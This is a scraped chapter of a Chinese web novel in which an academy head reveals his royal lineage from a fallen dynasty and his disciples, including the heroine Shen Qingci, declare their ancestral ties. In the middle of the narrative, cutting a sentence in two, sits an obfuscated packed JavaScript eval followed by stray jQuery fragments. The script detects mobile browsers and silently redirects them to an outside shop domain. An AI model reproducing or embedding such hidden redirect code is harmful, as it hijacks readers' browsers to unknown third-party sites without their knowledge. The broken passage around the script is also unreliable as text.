文趣网 > 其他小说 > 我偏要逆天命 > 40.第 40 章
    “卫楼主是我们的朋友,是书院的盟友,更是惊澜的父亲。”谢云归的声音很平,但每一个字都像是从牙缝里挤出来的,“他的死,我们不能置之不理。”

    “第二件事。”他站起身,走到主厅中央,“和第一件事有关。”

    所有弟子的目光都集中在他身上。

    谢云归抬起手,缓缓摘下头上那根朴素的木簪。木簪是他一直戴着的,从沈清辞入学的第一天起就没换过。木簪很旧,表面磨得光滑发亮,看起来就像是从路边捡来的树枝削成的。

    但当他摘下木簪的那一刻,沈清辞注意到,他的头发不再是散乱的,而是整整齐齐地束着——像是早就准备好了要摘下来。

    他从袖中取出一顶白玉冠,戴在头上。

    白玉冠通体莹白,没有一丝瑕疵,冠上刻着九条五爪龙,栩栩如生。在烛光的照耀下,玉冠发出温润的光芒,将谢云归整个人衬得威严而尊贵。

    全场寂静。

    所有人都看呆了。

    他们从未见过谢云归戴冠。在书院里,谢云归永远是一副闲散教书先生的模样,穿着素白长衫,戴着木簪,说话慢条斯理,像是什么都不在乎。

    但此刻,戴着白玉冠的谢云归,像是换了一个人。

    他的脊背挺得笔直,目光如炬,浑身上下散发着一股不怒自威的气势。那不是教书先生的气势,那是——王者的气势。

    “我知道你们有很多疑问。”谢云归环顾全场,目光从每一个弟子脸上扫过,“为什么我要戴冠?为什么我要在今天召集你们?我和卫楼主的死有什么关系?”

    他顿了顿,深吸一口气。

    “因为从今天起,我不想再瞒你们了。”

    他走到主位前,转过身,面对着所有弟子。

    “我的真名,不是谢云归。谢云归是我隐姓埋名后用的名字。我的真名是——萧归。”

    萧。

    这个姓,在大景朝只有一个意思——皇室。

    “我是云韶国末代皇帝的孙子。”谢云归的声音很平静,但每一个字都像惊雷一样在弟子们耳边炸开,“云韶国灭亡时,我祖父被杀,父亲被忠仆带着逃出皇宫。他隐姓埋名,改姓为谢,在民间长大。后来他娶妻生子,生下了我。”

    “临终前,他把这个秘密告诉了我。他说,云韶国虽然灭亡了,但云韶国的血脉不能断。他让我活下去,好好地活下去,不要想着复国,不要想着报仇,只做一个普通人。”

    “我答应了。”

    “但我做不到。”

    谢云归的声音微微发颤,这是他第一次在弟子们面前露出这样的情绪。

    “不是我想复国,而是我放不下先人留下的东西。云韶国虽然灭亡了,但云韶国的文化、典籍、宝物,都还在。那些东西,是先人数百年的心血,不能就这么被埋没、被遗忘、被别人抢走。”

    “所以我建立了沧澜书院。表面上是一个教书育人的地方,实际上——是云韶国遗物的守护之地。”

    他走到厅堂的北墙前,伸手按在墙壁上。

    墙壁上浮现出密密麻麻的符文,像是一张巨大的网。符光亮起,墙壁缓缓裂开,露出一条幽深的通道。

    “沧澜书院的地下,是云韶国最大的一座遗宫。里面有云韶国数百年来积累的兵法、阵法、机关术、治国策,还有一把能决定天下命运的剑——‘天问’。”

    所有人倒吸一口凉气。

    “璇玑阁要的,就是这把剑。”谢云归转过身,看着弟子们,“他们一直在找云韶遗宫的入口,一直在找天问剑的下落。卫楼主的死,和他们脱不了干系。”

    “山长。”二师姐突然站了起来。

    她穿着一身素白的衣裙,面容清冷,平时话很少,存在感极低。但此刻,她的眼中燃烧着一种沈清辞从未见过的光芒。

    “师父,我也是云韶国后裔。”她的声音不大,但很清晰,“我的曾祖母,是云韶国的公主。我的家族,世世代代守护着云韶国的秘密。”

    全场再次寂静。

    三师姐也站了起来:“我父亲是云韶国旧臣的后代。他临终前告诉我,如果有一天师父需要我,我一定要站出来。”

    四师兄站起来:“我的祖上,是云韶国的禁军统领。云韶国灭亡时,他战死在太和殿前。家训只有一条——守护云韶,至死不渝。”

    五师兄站起来:“我的祖父,是云韶国的史官。云韶国的历史,都在他的笔下。他把这些史书传给了我父亲,我父亲传给了我。”

    六师兄萧逸尘站起来:“我虽然和云韶国没有血缘关系,但四海商号的创始人,是云韶国的皇商。四海商号的财富,有一半来自云韶国。我不是为了复国,我是为了报恩。”

    七师兄卫惊澜站起来,眼眶通红:“我爹……我爹守护的秘密,就是云韶遗宫的位置。他是风雨楼的楼主,也是云韶国遗物的守护者之一。璇玑阁杀他,就是为了这个。”

    八师姐、九师兄、十师姐、十一师兄、十二师姐……一个接一个地站起来。十三个弟子,十一个人站了起来。

    只有两个人没有站。

    沈清辞和坐在角落里的大师姐——大师姐从小在书院长大,身世不明,连她自己都不知道自己的父母是谁。

    所有人都看着沈清辞。

    沈清辞缓缓站起身。

    她的心跳得很快,但她努力让自己保持平静。

    “山长。”她说,声音有些发颤,“我的祖母,姓谢。”

    谢云归的瞳孔微缩。

    “祖母临终前,把我叫到床前,给了我一样东西。”沈清辞从储物玉佩里取出一枚玉佩——和谢云归之前给她的那枚一模一样,只是颜色更深,“她说,如果有一天我遇到了一个戴着同样玉佩的人,就叫他一声表叔。”

    她抬起头,看着谢云归,眼眶泛红:“山长,我的祖母是您的姑姑。我应该叫您一声——表叔。”

    全场寂静。

    连呼吸声都听不见了。

    谢云归站在主厅中央

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646601|206641||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,看着沈清辞手中的玉佩,嘴唇微微发颤。

    他走过去,从怀中取出另一枚玉佩。两枚玉佩放在一起,严丝合缝,像是一对。

    “这是我父亲的遗物。”谢云归的声音沙哑,“他说,他还有一个妹妹,当年逃难时走散了。他让我一定要找到她。”

    “你祖母……她在哪里?”

    “死了。”沈清辞的眼泪终于掉了下来,“三年前,病死的。临终前她把玉佩给我,说这是她唯一的念想。她说她有一个哥哥,很小的时候就分开了,这辈子再也见不到了。她让我如果遇到了她哥哥的后人,替她说一声——对不起,妹妹没能照顾好自己。”

    谢云归闭上眼睛,两行清泪从眼角滑落。

    这是他第一次在弟子们面前流泪。

    “她不用道歉。”他睁开眼,看着沈清辞,目光温柔而悲伤,“是我没有找到她。是我对不起她。”

    “不。”沈清辞摇头,“祖母从来没有怪过您。她说,能活着就已经很好了。她不恨任何人。”

    师徒二人相对而立,泪流满面。

    其他弟子也红了眼眶。

    萧逸尘别过头去,偷偷擦眼泪。卫惊澜咬着嘴唇,死死忍着不哭出声。二师姐低着头,肩膀微微发颤。

    大师姐最后一个站起来。

    她走到谢云归面前,跪下来,磕了三个头。

    “山长,我不知道自己的父母是谁,不知道自己的身世是什么。”她说,“但我知道,是您收留了我,是您养育了我,是您教会了我做人的道理。从今天起,我不是云韶国的后裔,我是沧澜书院的弟子。不管您要做什么,我都跟着您。”

    谢云归扶起她,拍拍她的肩膀,没有说话。

    但所有人都明白他的意思。

    “从今天起,沧澜书院不再是隐世书院。”谢云归转过身,面对所有弟子,“我们要和璇玑阁正面交锋。不是为了复国,是为了守护。守护先人留下的东西,守护这片土地上的百姓,守护我们心中的道义。”

    “这条路很难走,可能会死很多人。”他环顾全场,“你们还愿意跟着我吗?”

    “愿意!”所有弟子异口同声,声音震得烛火都晃了晃。

    谢云归点了点头,转身走回主位。

    “好。那我们开始准备。”

    坦白之后,书院进入了一种前所未有的紧张状态。

    谢云归将云韶遗宫的部分地图交给了弟子们,让他们根据自己的特长选择修炼方向。二师姐负责后勤物资调配,三师姐负责情报收集,四师兄和五师兄负责外围警戒,六师兄萧逸尘负责资金和商业情报,七师兄卫惊澜负责战斗和暗杀。

    沈清辞的任务最重——进入云韶遗宫深处,找到天问剑。

    但要进入遗宫深处,需要两个条件:一是修为达到金丹期,二是找到遗宫的“钥匙”。钥匙是一枚戒指,谢云归说他父亲临终前把戒指藏在了某个地方,但他也不知道具体位置。

    “那怎么办?”沈清辞问。